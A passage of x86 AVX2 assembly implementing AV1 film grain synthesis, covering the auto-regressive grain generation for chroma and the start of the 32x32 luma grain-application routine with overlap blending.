pshufd xm6, xm1, q1111 pshufd xm7, xm1, q2222 pshufd xm8, xm1, q3333 pshufd xm1, xm1, q0000 pshufd xm3, xm2, q1111 psrldq xm13, xm2, 10 pinsrw xm2, [pw_1], 5 pshufd xm4, xm2, q2222 pshufd xm2, xm2, q0000 pinsrw xm13, [base+round_vals+shiftq*2-10], 3 mova [rsp+ 0*16], xm0 mova [rsp+ 1*16], xm9 mova [rsp+ 2*16], xm10 mova [rsp+ 3*16], xm11 mova [rsp+ 4*16], xm1 mova [rsp+ 5*16], xm6 mova [rsp+ 6*16], xm7 mova [rsp+ 7*16], xm8 mova [rsp+ 8*16], xm2 mova [rsp+ 9*16], xm3 mova [rsp+10*16], xm4 DEFINE_ARGS buf, fg_data, h, x sub bufq, 82*73-(82*3+79) mov hd, 70 .y_loop_ar3: mov xq, -76 .x_loop_ar3: movu xm0, [bufq+xq-82*3-3] ; y=-3,x=[-3,+12] movu xm1, [bufq+xq-82*2-3] ; y=-2,x=[-3,+12] movu xm2, [bufq+xq-82*1-3] ; y=-1,x=[-3,+12] pxor xm3, xm3 pcmpgtb xm6, xm3, xm2 pcmpgtb xm5, xm3, xm1 pcmpgtb xm4, xm3, xm0 punpckhbw xm3, xm0, xm4 punpcklbw xm0, xm4 punpckhbw xm4, xm1, xm5 punpcklbw xm1, xm5 punpckhbw xm5, xm2, xm6 punpcklbw xm2, xm6 psrldq xm6, xm0, 2 psrldq xm7, xm0, 4 psrldq xm8, xm0, 6 psrldq xm9, xm0, 8 palignr xm10, xm3, xm0, 10 palignr xm11, xm3, xm0, 12 punpcklwd xm0, xm6 punpcklwd xm7, xm8 punpcklwd xm9, xm10 punpcklwd xm11, xm1 pmaddwd xm0, [rsp+ 0*16] pmaddwd xm7, [rsp+ 1*16] pmaddwd xm9, [rsp+ 2*16] pmaddwd xm11, [rsp+ 3*16] paddd xm0, xm7 paddd xm9, xm11 paddd xm0, xm9 psrldq xm6, xm1, 2 psrldq xm7, xm1, 4 psrldq xm8, xm1, 6 psrldq xm9, xm1, 8 palignr xm10, xm4, xm1, 10 palignr xm11, xm4, xm1, 12 psrldq xm12, xm2, 2 punpcklwd xm6, xm7 punpcklwd xm8, xm9 punpcklwd xm10, xm11 punpcklwd xm12, xm2, xm12 pmaddwd xm6, [rsp+ 4*16] pmaddwd xm8, [rsp+ 5*16] pmaddwd xm10, [rsp+ 6*16] pmaddwd xm12, [rsp+ 7*16] paddd xm6, xm8 paddd xm10, xm12 paddd xm6, xm10 paddd xm0, xm6 psrldq xm6, xm2, 4 psrldq xm7, xm2, 6 psrldq xm8, xm2, 8 palignr xm9, xm5, xm2, 10 palignr xm5, xm5, xm2, 12 punpcklwd xm6, xm7 punpcklwd xm8, xm9 punpcklwd xm5, xm14 pmaddwd xm6, [rsp+ 8*16] pmaddwd xm8, [rsp+ 9*16] pmaddwd xm5, [rsp+10*16] paddd xm0, xm6 paddd xm8, xm5 paddd xm0, xm8 movq xm1, [bufq+xq-3] ; y=0,x=[-3,+4] .x_loop_ar3_inner: pmovsxbw xm2, xm1 pmaddwd xm2, xm13 pshufd xm3, xm2, q1111 paddd xm2, xm3 ; left+cur paddd xm2, xm0 ; add top psrldq xm0, 4 psrad xm2, [fg_dataq+FGData.ar_coeff_shift] ; don't packssdw since we only care about one value packsswb xm2, xm2 pextrb [bufq+xq], xm2, 0 pslldq xm2, 3 pand xm2, xm15 pandn xm1, xm15, xm1 por xm1, xm2 psrldq xm1, 1 inc xq jz .x_loop_ar3_end test xq, 3 jnz .x_loop_ar3_inner jmp .x_loop_ar3 .x_loop_ar3_end: add bufq, 82 dec hd jg .y_loop_ar3 RET %macro generate_grain_uv_fn 3 ; ss_name, ss_x, ss_y INIT_XMM avx2 cglobal generate_grain_uv_%1_8bpc, 4, 10, 16, buf, bufy, fg_data, uv lea r4, [pb_mask] %define base r4-pb_mask movq xm1, [base+rnd_next_upperbit_mask] movq xm4, [base+mul_bits] movq xm7, [base+hmul_bits] mov r5d, [fg_dataq+FGData.grain_scale_shift] vpbroadcastw xm8, [base+round+r5*2] mova xm5, [base+pb_mask] vpbroadcastw xm0, [fg_dataq+FGData.seed] vpbroadcastw xm9, [base+pw_seed_xor+uvq*4] pxor xm0, xm9 vpbroadcastd xm9, [base+pd_m65536] lea r6, [gaussian_sequence] %if %2 mov r7d, 73-35*%3 add bufq, 44 .loop_y: mov r5, -44 .loop_x: %else mov r5, -73*82 sub bufq, r5 .loop: %endif pand xm2, xm0, xm1 psrlw xm3, xm2, 10 por xm2, xm3 ; bits 0xf, 0x1e, 0x3c and 0x78 are set pmullw xm2, xm4 ; bits 0x0f00 are set pshufb xm2, xm5, xm2 ; set 15th bit for next 4 seeds psllq xm6, xm2, 30 por xm2, xm6 psllq xm6, xm2, 15 por xm2, xm6 ; aggregate each bit into next seed's high bit pmulhuw xm3, xm0, xm7 por xm2, xm3 ; 4 next output seeds pshuflw xm0, xm2, q3333 psrlw xm2, 5 pmovzxwd xm3, xm2 mova xm6, xm9 vpgatherdd xm2, [r6+xm3*2], xm6 pandn xm2, xm9, xm2 packusdw xm2, xm2 pmulhrsw xm2, xm8 packsswb xm2, xm2 movd [bufq+r5], xm2 add r5, 4 %if %2 jl .loop_x add bufq, 82 dec r7d jg .loop_y %else jl .loop %endif ; auto-regression code movsxd r5, [fg_dataq+FGData.ar_coeff_lag] movsxd r5, [base+generate_grain_uv_%1_8bpc_avx2_table+r5*4] lea r5, [r5+base+generate_grain_uv_%1_8bpc_avx2_table] jmp r5 .ar0: INIT_YMM avx2 DEFINE_ARGS buf, bufy, fg_data, uv, unused, shift imul uvd, 28 mov shiftd, [fg_dataq+FGData.ar_coeff_shift] movd xm4, [fg_dataq+FGData.ar_coeffs_uv+uvq] movd xm3, [base+hmul_bits+shiftq*2] DEFINE_ARGS buf, bufy, h pmovsxbw xm4, xm4 %if %2 vpbroadcastd m7, [pb_1] vpbroadcastw m6, [hmul_bits+2+%3*2] %endif vpbroadcastw m4, xm4 vpbroadcastw m3, xm3 pxor m12, m12 %if %2 sub bufq, 82*(73-35*%3)+82-(82*3+41) %else sub bufq, 82*70-3 %endif add bufyq, 3+82*3 mov hd, 70-35*%3 .y_loop_ar0: %if %2 ; first 32 pixels movu xm8, [bufyq] %if %3 movu xm9, [bufyq+82] %endif movu xm10, [bufyq+16] %if %3 movu xm11, [bufyq+82+16] %endif vinserti128 m8, [bufyq+32], 1 %if %3 vinserti128 m9, [bufyq+82+32], 1 %endif vinserti128 m10, [bufyq+48], 1 %if %3 vinserti128 m11, [bufyq+82+48], 1 %endif pmaddubsw m8, m7, m8 %if %3 pmaddubsw m9, m7, m9 %endif pmaddubsw m10, m7, m10 %if %3 pmaddubsw m11, m7, m11 paddw m8, m9 paddw m10, m11 %endif pmulhrsw m8, m6 pmulhrsw m10, m6 %else xor r3d, r3d ; first 32x2 pixels .x_loop_ar0: movu m8, [bufyq+r3] pcmpgtb m9, m12, m8 punpckhbw m10, m8, m9 punpcklbw m8, m9 %endif pmullw m8, m4 pmullw m10, m4 pmulhrsw m8, m3 pmulhrsw m10, m3 %if %2 movu m0, [bufq] %else movu m0, [bufq+r3] %endif pcmpgtb m1, m12, m0 punpckhbw m9, m0, m1 punpcklbw m0, m1 paddw m0, m8 paddw m9, m10 packsswb m0, m9 %if %2 movu [bufq], m0 %else movu [bufq+r3], m0 add r3d, 32 cmp r3d, 64 jl .x_loop_ar0 %endif ; last 6/12 pixels movu xm8, [bufyq+32*2] %if %2 %if %3 movu xm9, [bufyq+32*2+82] %endif pmaddubsw xm8, xm7, xm8 %if %3 pmaddubsw xm9, xm7, xm9 paddw xm8, xm9 %endif pmulhrsw xm8, xm6 pmullw xm8, xm4 pmulhrsw xm8, xm3 movq xm0, [bufq+32] pcmpgtb xm9, xm12, xm0 punpcklbw xm9, xm0, xm9 paddw xm8, xm9 packsswb xm8, xm8 vpblendw xm0, xm8, xm0, 1000b movq [bufq+32], xm0 %else pcmpgtb xm9, xm12, xm8 punpckhbw xm10, xm8, xm9 punpcklbw xm8, xm9 pmullw xm10, xm4 pmullw xm8, xm4 pmulhrsw xm10, xm3 pmulhrsw xm8, xm3 movu xm0, [bufq+64] pcmpgtb xm9, xm12, xm0 punpcklbw xm1, xm0, xm9 punpckhbw xm9, xm0, xm9 paddw xm1, xm8 paddw xm9, xm10 packsswb xm1, xm9 vpblendw xm0, xm1, xm0, 11000000b movu [bufq+64], xm0 %endif add bufq, 82 add bufyq, 82<<%3 dec hd jg .y_loop_ar0 RET .ar1: INIT_XMM avx2 DEFINE_ARGS buf, bufy, fg_data, uv, val3, cf3, min, max, x, shift imul uvd, 28 mov shiftd, [fg_dataq+FGData.ar_coeff_shift] movsx cf3d, byte [fg_dataq+FGData.ar_coeffs_uv+uvq+3] movd xm4, [fg_dataq+FGData.ar_coeffs_uv+uvq] pinsrb xm4, [fg_dataq+FGData.ar_coeffs_uv+uvq+4], 3 DEFINE_ARGS buf, bufy, h, val0, val3, cf3, min, max, x, shift pmovsxbw xm4, xm4 pshufd xm5, xm4, q1111 pshufd xm4, xm4, q0000 pmovsxwd xm3, [base+round_vals+shiftq*2-12] ; rnd %if %2 vpbroadcastd xm7, [pb_1] vpbroadcastw xm6, [hmul_bits+2+%3*2] %endif vpbroadcastd xm3, xm3 %if %2 sub bufq, 82*(73-35*%3)+44-(82*3+41) %else sub bufq, 82*70-(82-3) %endif add bufyq, 79+82*3 mov hd, 70-35*%3 mov mind, -128 mov maxd, 127 .y_loop_ar1: mov xq, -(76>>%2) movsx val3d, byte [bufq+xq-1] .x_loop_ar1: pmovsxbw xm0, [bufq+xq-82-1] ; top/left %if %2 movq xm8, [bufyq+xq*2] %if %3 movq xm9, [bufyq+xq*2+82] %endif %endif psrldq xm2, xm0, 2 ; top psrldq xm1, xm0, 4 ; top/right %if %2 pmaddubsw xm8, xm7, xm8 %if %3 pmaddubsw xm9, xm7, xm9 paddw xm8, xm9 %endif pmulhrsw xm8, xm6 %else pmovsxbw xm8, [bufyq+xq] %endif punpcklwd xm0, xm2 punpcklwd xm1, xm8 pmaddwd xm0, xm4 pmaddwd xm1, xm5 paddd xm0, xm1 paddd xm0, xm3 .x_loop_ar1_inner: movd val0d, xm0 psrldq xm0, 4 imul val3d, cf3d add val3d, val0d sarx val3d, val3d, shiftd movsx val0d, byte [bufq+xq] add val3d, val0d cmp val3d, maxd cmovns val3d, maxd cmp val3d, mind cmovs val3d, mind mov byte [bufq+xq], val3b ; keep val3d in-place as left for next x iteration inc xq jz .x_loop_ar1_end test xq, 3 jnz .x_loop_ar1_inner jmp .x_loop_ar1 .x_loop_ar1_end: add bufq, 82 add bufyq, 82<<%3 dec hd jg .y_loop_ar1 RET .ar2: DEFINE_ARGS buf, bufy, fg_data, uv, unused, shift mov shiftd, [fg_dataq+FGData.ar_coeff_shift] imul uvd, 28 vpbroadcastw xm15, [base+round_vals-12+shiftq*2] pmovsxbw xm8, [fg_dataq+FGData.ar_coeffs_uv+uvq+0] ; cf0-7 pmovsxbw xm9, [fg_dataq+FGData.ar_coeffs_uv+uvq+8] ; cf8-12 pinsrw xm9, [base+pw_1], 5 %if %2 vpbroadcastw xm7, [base+hmul_bits+2+%3*2] vpbroadcastd xm6, [base+pb_1] %endif DEFINE_ARGS buf, bufy, fg_data, h, unused, x pshufd xm12, xm9, q0000 pshufd xm13, xm9, q1111 pshufd xm14, xm9, q2222 pshufd xm11, xm8, q3333 pshufd xm10, xm8, q2222 pshufd xm9, xm8, q1111 pshufd xm8, xm8, q0000 %if %2 sub bufq, 82*(73-35*%3)+44-(82*3+41) %else sub bufq, 82*70-(82-3) %endif add bufyq, 79+82*3 mov hd, 70-35*%3 .y_loop_ar2: mov xq, -(76>>%2) .x_loop_ar2: pmovsxbw xm0, [bufq+xq-82*2-2] ; y=-2,x=[-2,+5] pmovsxbw xm1, [bufq+xq-82*1-2] ; y=-1,x=[-2,+5] psrldq xm2, xm0, 2 ; y=-2,x=[-1,+5] psrldq xm3, xm1, 2 ; y=-1,x=[-1,+5] psrldq xm4, xm1, 4 ; y=-1,x=[+0,+5] punpcklwd xm2, xm0, xm2 punpcklwd xm3, xm4 pmaddwd xm2, xm8 pmaddwd xm3, xm11 paddd xm2, xm3 psrldq xm4, xm0, 4 ; y=-2,x=[+0,+5] psrldq xm5, xm0, 6 ; y=-2,x=[+1,+5] psrldq xm0, 8 ; y=-2,x=[+2,+5] punpcklwd xm4, xm5 punpcklwd xm0, xm1 psrldq xm3, xm1, 6 ; y=-1,x=[+1,+5] psrldq xm1, xm1, 8 ; y=-1,x=[+2,+5] punpcklwd xm3, xm1 pmaddwd xm4, xm9 pmaddwd xm0, xm10 pmaddwd xm3, xm12 paddd xm4, xm0 paddd xm2, xm3 paddd xm2, xm4 %if %2 movq xm0, [bufyq+xq*2] %if %3 movq xm3, [bufyq+xq*2+82] %endif pmaddubsw xm0, xm6, xm0 %if %3 pmaddubsw xm3, xm6, xm3 paddw xm0, xm3 %endif pmulhrsw xm0, xm7 %else pmovsxbw xm0, [bufyq+xq] %endif punpcklwd xm0, xm15 pmaddwd xm0, xm14 paddd xm2, xm0 movq xm0, [bufq+xq-2] ; y=0,x=[-2,+5] .x_loop_ar2_inner: pmovsxbw xm0, xm0 pmaddwd xm3, xm0, xm13 paddd xm3, xm2 psrldq xm2, 4 ; shift top to next pixel psrad xm3, [fg_dataq+FGData.ar_coeff_shift] pslldq xm3, 2 psrldq xm0, 2 paddw xm3, xm0 vpblendw xm0, xm3, 00000010b packsswb xm0, xm0 pextrb [bufq+xq], xm0, 1 inc xq jz .x_loop_ar2_end test xq, 3 jnz .x_loop_ar2_inner jmp .x_loop_ar2 .x_loop_ar2_end: add bufq, 82 add bufyq, 82<<%3 dec hd jg .y_loop_ar2 RET .ar3: DEFINE_ARGS buf, bufy, fg_data, uv, unused, shift SUB rsp, 16*12 %assign stack_size_padded (stack_size_padded+16*12) %assign stack_size (stack_size+16*12) mov shiftd, [fg_dataq+FGData.ar_coeff_shift] imul uvd, 28 vpbroadcastw xm14, [base+round_vals-12+shiftq*2] pmovsxbw xm0, [fg_dataq+FGData.ar_coeffs_uv+uvq+ 0] ; cf0-7 pmovsxbw xm1, [fg_dataq+FGData.ar_coeffs_uv+uvq+ 8] ; cf8-15 pmovsxbw xm2, [fg_dataq+FGData.ar_coeffs_uv+uvq+16] ; cf16-23 pmovsxbw xm5, [fg_dataq+FGData.ar_coeffs_uv+uvq+24] ; cf24 [luma] pshufd xm9, xm0, q1111 pshufd xm10, xm0, q2222 pshufd xm11, xm0, q3333 pshufd xm0, xm0, q0000 pshufd xm6, xm1, q1111 pshufd xm7, xm1, q2222 pshufd xm8, xm1, q3333 pshufd xm1, xm1, q0000 pshufd xm3, xm2, q1111 pshufd xm4, xm2, q2222 vpbroadcastw xm5, xm5 vpblendw xm4, xm5, 10101010b ; interleave luma cf psrldq xm5, xm2, 10 pshufd xm2, xm2, q0000 pinsrw xm5, [base+round_vals+shiftq*2-10], 3 pmovzxwd xm14, xm14 mova [rsp+ 0*16], xm0 mova [rsp+ 1*16], xm9 mova [rsp+ 2*16], xm10 mova [rsp+ 3*16], xm11 mova [rsp+ 4*16], xm1 mova [rsp+ 5*16], xm6 mova [rsp+ 6*16], xm7 mova [rsp+ 7*16], xm8 mova [rsp+ 8*16], xm2 mova [rsp+ 9*16], xm3 mova [rsp+10*16], xm4 mova [rsp+11*16], xm5 %if %2 vpbroadcastd xm13, [base+pb_1] vpbroadcastw xm15, [base+hmul_bits+2+%3*2] %endif DEFINE_ARGS buf, bufy, fg_data, h, unused, x %if %2 sub bufq, 82*(73-35*%3)+44-(82*3+41) %else sub bufq, 82*70-(82-3) %endif add bufyq, 79+82*3 mov hd, 70-35*%3 .y_loop_ar3: mov xq, -(76>>%2) .x_loop_ar3: movu xm0, [bufq+xq-82*3-3] ; y=-3,x=[-3,+12] movu xm1, [bufq+xq-82*2-3] ; y=-2,x=[-3,+12] movu xm2, [bufq+xq-82*1-3] ; y=-1,x=[-3,+12] pxor xm3, xm3 pcmpgtb xm6, xm3, xm2 pcmpgtb xm5, xm3, xm1 pcmpgtb xm4, xm3, xm0 punpckhbw xm3, xm0, xm4 punpcklbw xm0, xm4 punpckhbw xm4, xm1, xm5 punpcklbw xm1, xm5 punpckhbw xm5, xm2, xm6 punpcklbw xm2, xm6 psrldq xm6, xm0, 2 psrldq xm7, xm0, 4 psrldq xm8, xm0, 6 psrldq xm9, xm0, 8 palignr xm10, xm3, xm0, 10 palignr xm11, xm3, xm0, 12 punpcklwd xm0, xm6 punpcklwd xm7, xm8 punpcklwd xm9, xm10 punpcklwd xm11, xm1 pmaddwd xm0, [rsp+ 0*16] pmaddwd xm7, [rsp+ 1*16] pmaddwd xm9, [rsp+ 2*16] pmaddwd xm11, [rsp+ 3*16] paddd xm0, xm7 paddd xm9, xm11 paddd xm0, xm9 psrldq xm6, xm1, 2 psrldq xm7, xm1, 4 psrldq xm8, xm1, 6 psrldq xm9, xm1, 8 palignr xm10, xm4, xm1, 10 palignr xm11, xm4, xm1, 12 psrldq xm12, xm2, 2 punpcklwd xm6, xm7 punpcklwd xm8, xm9 punpcklwd xm10, xm11 punpcklwd xm12, xm2, xm12 pmaddwd xm6, [rsp+ 4*16] pmaddwd xm8, [rsp+ 5*16] pmaddwd xm10, [rsp+ 6*16] pmaddwd xm12, [rsp+ 7*16] paddd xm6, xm8 paddd xm10, xm12 paddd xm6, xm10 paddd xm0, xm6 psrldq xm6, xm2, 4 psrldq xm7, xm2, 6 psrldq xm8, xm2, 8 palignr xm9, xm5, xm2, 10 palignr xm5, xm5, xm2, 12 %if %2 movq xm1, [bufyq+xq*2] %if %3 movq xm2, [bufyq+xq*2+82] %endif pmaddubsw xm1, xm13, xm1 %if %3 pmaddubsw xm2, xm13, xm2 paddw xm1, xm2 %endif pmulhrsw xm1, xm15 %else pmovsxbw xm1, [bufyq+xq] %endif punpcklwd xm6, xm7 punpcklwd xm8, xm9 punpcklwd xm5, xm1 pmaddwd xm6, [rsp+ 8*16] pmaddwd xm8, [rsp+ 9*16] pmaddwd xm5, [rsp+10*16] paddd xm0, xm6 paddd xm8, xm5 paddd xm0, xm8 paddd xm0, xm14 movq xm1, [bufq+xq-3] ; y=0,x=[-3,+4] .x_loop_ar3_inner: pmovsxbw xm1, xm1 pmaddwd xm2, xm1, [rsp+16*11] pshufd xm3, xm2, q1111 paddd xm2, xm3 ; left+cur paddd xm2, xm0 ; add top psrldq xm0, 4 psrad xm2, [fg_dataq+FGData.ar_coeff_shift] ; don't packssdw, we only care about one value pslldq xm2, 6 vpblendw xm1, xm2, 1000b packsswb xm1, xm1 pextrb [bufq+xq], xm1, 3 psrldq xm1, 1 inc xq jz .x_loop_ar3_end test xq, 3 jnz .x_loop_ar3_inner jmp .x_loop_ar3 .x_loop_ar3_end: add bufq, 82 add bufyq, 82<<%3 dec hd jg .y_loop_ar3 RET %endmacro generate_grain_uv_fn 420, 1, 1 generate_grain_uv_fn 422, 1, 0 generate_grain_uv_fn 444, 0, 0 INIT_YMM avx2 cglobal fgy_32x32xn_8bpc, 6, 13, 16, dst, src, stride, fg_data, w, scaling, grain_lut pcmpeqw m10, m10 psrld m10, 24 mov r7d, [fg_dataq+FGData.scaling_shift] lea r8, [pb_mask] %define base r8-pb_mask vpbroadcastw m11, [base+mul_bits+r7*2-14] mov r7d, [fg_dataq+FGData.clip_to_restricted_range] vpbroadcastw m12, [base+max+r7*4] vpbroadcastw m13, [base+min+r7*2] DEFINE_ARGS dst, src, stride, fg_data, w, scaling, grain_lut, unused, sby, see, overlap mov overlapd, [fg_dataq+FGData.overlap_flag] movifnidn sbyd, sbym test sbyd, sbyd setnz r7b test r7b, overlapb jnz .vertical_overlap imul seed, sbyd, (173 << 24) | 37 add seed, (105 << 24) | 178 rol seed, 8 movzx seed, seew xor seed, [fg_dataq+FGData.seed] DEFINE_ARGS dst, src, stride, src_bak, w, scaling, grain_lut, \ unused1, unused2, see, overlap lea src_bakq, [srcq+wq] neg wq sub dstq, srcq .loop_x: mov r6d, seed or seed, 0xEFF4 shr r6d, 1 test seeb, seeh lea seed, [r6+0x8000] cmovp seed, r6d ; updated seed DEFINE_ARGS dst, src, stride, src_bak, w, scaling, grain_lut, \ offx, offy, see, overlap mov offxd, seed rorx offyd, seed, 8 shr offxd, 12 and offyd, 0xf imul offyd, 164 lea offyq, [offyq+offxq*2+747] ; offy*stride+offx DEFINE_ARGS dst, src, stride, src_bak, w, scaling, grain_lut, \ h, offxy, see, overlap mov hd, hm mov grain_lutq, grain_lutmp .loop_y: ; src mova m0, [srcq] pxor m2, m2 punpckhbw m1, m0, m2 punpcklbw m0, m2 ; m0-1: src as word punpckhwd m5, m0, m2 punpcklwd m4, m0, m2 punpckhwd m7, m1, m2 punpcklwd m6, m1, m2 ; m4-7: src as dword ; scaling[src] pcmpeqw m3, m3 pcmpeqw m9, m9 vpgatherdd m8, [scalingq+m4], m3 vpgatherdd m4, [scalingq+m5], m9 pcmpeqw m3, m3 pcmpeqw m9, m9 vpgatherdd m5, [scalingq+m6], m3 vpgatherdd m6, [scalingq+m7], m9 pand m8, m10 pand m4, m10 pand m5, m10 pand m6, m10 packusdw m8, m4 packusdw m5, m6 ; grain = grain_lut[offy+y][offx+x] movu m3, [grain_lutq+offxyq] pcmpgtb m7, m2, m3 punpcklbw m2, m3, m7 punpckhbw m3, m7 ; noise = round2(scaling[src] * grain, scaling_shift) pmullw m2, m8 pmullw m3, m5 pmulhrsw m2, m11 pmulhrsw m3, m11 ; dst = clip_pixel(src, noise) paddw m0, m2 paddw m1, m3 pmaxsw m0, m13 pmaxsw m1, m13 pminsw m0, m12 pminsw m1, m12 packuswb m0, m1 mova [dstq+srcq], m0 add srcq, strideq add grain_lutq, 82 dec hd jg .loop_y add wq, 32 jge .end lea srcq, [src_bakq+wq] test overlapd, overlapd jz .loop_x ; r8m = sbym movq xm15, [pb_27_17_17_27] cmp dword r8m, 0 jne .loop_x_hv_overlap ; horizontal overlap (without vertical overlap) movq xm14, [pw_1024] .loop_x_h_overlap: mov r6d, seed or seed, 0xEFF4 shr r6d, 1 test seeb, seeh lea seed, [r6+0x8000] cmovp seed, r6d ; updated seed DEFINE_ARGS dst, src, stride, src_bak, w, scaling, grain_lut, \ offx, offy, see, left_offxy lea left_offxyd, [offyd+32] ; previous column's offy*stride+offx mov offxd, seed rorx offyd, seed, 8 shr offxd, 12 and offyd, 0xf imul offyd, 164 lea offyq, [offyq+offxq*2+747] ; offy*stride+offx DEFINE_ARGS dst, src, stride, src_bak, w, scaling, grain_lut, \ h, offxy, see, left_offxy mov hd, hm mov grain_lutq, grain_lutmp .loop_y_h_overlap: ; src mova m0, [srcq] pxor m2, m2 punpckhbw m1, m0, m2 punpcklbw m0, m2 ; m0-1: src as word punpckhwd m5, m0, m2 punpcklwd m4, m0, m2 punpckhwd m7, m1, m2 punpcklwd m6, m1, m2 ; m4-7: src as dword ; scaling[src] pcmpeqw m3, m3 pcmpeqw m9, m9 vpgatherdd m8, [scalingq+m4], m3 vpgatherdd m4, [scalingq+m5], m9 pcmpeqw m3, m3 pcmpeqw m9, m9 vpgatherdd m5, [scalingq+m6], m3 vpgatherdd m6, [scalingq+m7], m9 pand m8, m10 pand m4, m10 pand m5, m10 pand m6, m10 packusdw m8, m4 packusdw m5, m6 ; grain = grain_lut[offy+y][offx+x] movu m3, [grain_lutq+offxyq] movd xm4, [grain_lutq+left_offxyq] punpcklbw xm4, xm3 pmaddubsw xm4, xm15, xm4 pmulhrsw xm4, xm14 packsswb xm4, xm4 vpblendd m3, m3, m4, 00000001b pcmpgtb m7, m2, m3 punpcklbw m2, m3, m7 punpckhbw m3, m7 ; noise = round2(scaling[src] * grain, scaling_shift) pmullw m2, m8 pmullw m3, m5 pmulhrsw m2, m11 pmulhrsw m3, m11 ; dst = clip_pixel(src, noise) paddw m0, m2 paddw m1, m3 pmaxsw m0, m13 pmaxsw m1, m13 pminsw m0, m12 pminsw m1, m12 packuswb m0, m1 mova [dstq+srcq], m0 add srcq, strideq add grain_lutq, 82 dec hd jg .loop_y_h_overlap add wq, 32 jge .end lea srcq, [src_bakq+wq] ; r8m = sbym cmp dword r8m, 0 jne .loop_x_hv_overlap jmp .loop_x_h_overlap .end: RET .vertical_overlap: DEFINE_ARGS dst, src, stride, fg_data, w, scaling, grain_lut, unused, sby, see, overlap movzx sbyd, sbyb imul seed, [fg_dataq+FGData.seed], 0x00010001 imul r7d, sbyd, 173 * 0x00010001 imul sbyd, 37 * 0x01000100 add r7d, (105 << 16) | 188 add sbyd, (178 << 24) | (141 << 8) and r7d, 0x00ff00ff and sbyd, 0xff00ff00 xor seed, r7d xor seed, sbyd ; (cur_seed << 16) | top_seed DEFINE_ARGS dst, src, stride, src_bak, w, scaling, grain_lut, \ unused1, unused2, see, overlap lea src_bakq, [srcq+wq] neg wq sub dstq, srcq vpbroadcastd m14, [pw_1024] .loop_x_v_overlap: vpbroadcastw m15, [pb_27_17_17_27] ; we assume from the block above that bits 8-15 of r7d are zero'ed mov r6d, seed or seed, 0xeff4eff4 test seeb, seeh setp r7b ; parity of top_seed shr seed, 16 shl r7d, 16 test seeb, seeh setp r7b ; parity of cur_seed or r6d, 0x00010001 xor r7d, r6d rorx seed, r7d, 1 ; updated (cur_seed << 16) | top_seed DEFINE_ARGS dst, src, stride, src_bak, w, scaling, grain_lut, \ offx, offy, see, overlap, top_offxy rorx offyd, seed, 8 rorx offxd, seed, 12 and offyd, 0xf000f and offxd, 0xf000f imul offyd, 164 ; offxy=offy*stride+offx, (cur_offxy << 16) | top_offxy lea offyq, [offyq+offxq*2+0x10001*747+32*82] DEFINE_ARGS dst, src, stride, src_bak, w, scaling, grain_lut, \ h, offxy, see, overlap, top_offxy movzx top_offxyd, offxyw shr offxyd, 16 mov hd, hm mov grain_lutq, grain_lutmp .loop_y_v_overlap: ; src mova m0, [srcq] pxor m2, m2 punpckhbw m1, m0, m2 punpcklbw m0, m2 ; m0-1: src as word punpckhwd m5, m0, m2 punpcklwd m4, m0, m2 punpckhwd m7, m1, m2 punpcklwd m6, m1, m2 ; m4-7: src as dword ; scaling[src] pcmpeqw m3, m3 pcmpeqw m9, m9 vpgatherdd m8, [scalingq+m4], m3 vpgatherdd m4, [scalingq+m5], m9 pcmpeqw m3, m3 pcmpeqw m9, m9 vpgatherdd m5, [scalingq+m6], m3 vpgatherdd m6, [scalingq+m7], m9 pand m8, m10 pand m4, m10 pand m5, m10 pand m6, m10 packusdw m8, m4 packusdw m5, m6 ; grain = grain_lut[offy+y][offx+x] movu m3, [grain_lutq+offxyq] movu m4, [grain_lutq+top_offxyq] punpckhbw m6, m4, m3 punpcklbw m4, m3 pmaddubsw m6, m15, m6 pmaddubsw m4, m15, m4 pmulhrsw m6, m14 pmulhrsw m4, m14 packsswb m3, m4, m6 pcmpgtb m7, m2, m3 punpcklbw m2, m3, m7 punpckhbw m3, m7 ; noise = round2(scaling[src] * grain, scaling_shift) pmullw m2, m8 pmullw m3, m5 pmulhrsw m2, m11 pmulhrsw m3, m11 ; dst = clip_pixel(src, noise) paddw m0, m2 paddw m1, m3 pmaxsw m0, m13 pmaxsw m1, m13 pminsw m0, m12 pminsw m1, m12 packuswb m0, m1 mova [dstq+srcq], m0 vpbroadcastw m15, [pb_27_17_17_27+2] ; swap weights for second v-overlap line add srcq, strideq add grain_lutq, 82 dec hw jz .end_y_v_overlap ; 2 lines get vertical overlap, then fall back to non-overlap code for ; remaining (up to) 30 lines btc hd, 16 jnc .loop_y_v_overlap jmp .loop_y .end_y_v_overlap: add wq, 32 jge .end_hv lea srcq, [src_bakq+wq] ; since fg_dataq.overlap is guaranteed to be set, we never jump ; back to .loop_x_v_overlap, and instead always fall-through to ; h+v overlap movq xm15, [pb_27_17_17_27] .loop_x_hv_overlap: vpbroadcastw m8, [pb_27_17_17_27] ; we assume from the block above that bits 8-15 of r7d are zero'ed mov r6d, seed or seed, 0xeff4eff4 test seeb, seeh setp r7b ; parity of top_seed shr seed, 16 shl r7d, 16 test seeb, seeh setp r7b ; parity of cur_seed or r6d, 0x00010001 xor r7d, r6d rorx seed, r7d, 1 ; updated (cur_seed << 16) | top_seed DEFINE_ARGS dst, src, stride, src_bak, w, scaling, grain_lut, \ offx, offy, see, left_offxy, top_offxy, topleft_offxy lea topleft_offxyq, [top_offxyq+32] lea left_offxyq, [offyq+32] rorx offyd, seed, 8 rorx offxd, seed, 12 and offyd, 0xf000f and offxd, 0xf000f imul offyd, 164 ; offxy=offy*stride+offx, (cur_offxy << 16) | top_offxy lea offyq, [offyq+offxq*2+0x10001*747+32*82] DEFINE_ARGS dst, src, stride, src_bak, w, scaling, grain_lut, \ h, offxy, see, left_offxy, top_offxy, topleft_offxy movzx top_offxyd, offxyw shr offxyd, 16 mov hd, hm mov grain_lutq, grain_lutmp .loop_y_hv_overlap: ; src mova m0, [srcq] pxor m2, m2 punpckhbw m1, m0, m2 punpcklbw m0, m2 ; m0-1: src as word punpckhwd m5, m0, m2 punpcklwd m4, m0, m2 punpckhwd m7, m1, m2 punpcklwd m6, m1, m2 ; m4-7: src as dword ; scaling[src] pcmpeqw m3, m3 ; FIXME it would be nice to have another register here to do 2 vpgatherdd's in parallel vpgatherdd m9, [scalingq+m4], m3 pcmpeqw m3, m3 vpgatherdd m4, [scalingq+m5], m3 pcmpeqw m3, m3 vpgatherdd m5, [scalingq+m6], m3 pcmpeqw m3, m3 vpgatherdd m6, [scalingq+m7], m3 pand m9, m10 pand m4, m10 pand m5, m10 pand m6, m10 packusdw m9, m4 packusdw m5, m6 ; grain = grain_lut[offy+y][offx+x] movu m3, [grain_lutq+offxyq] movu m6, 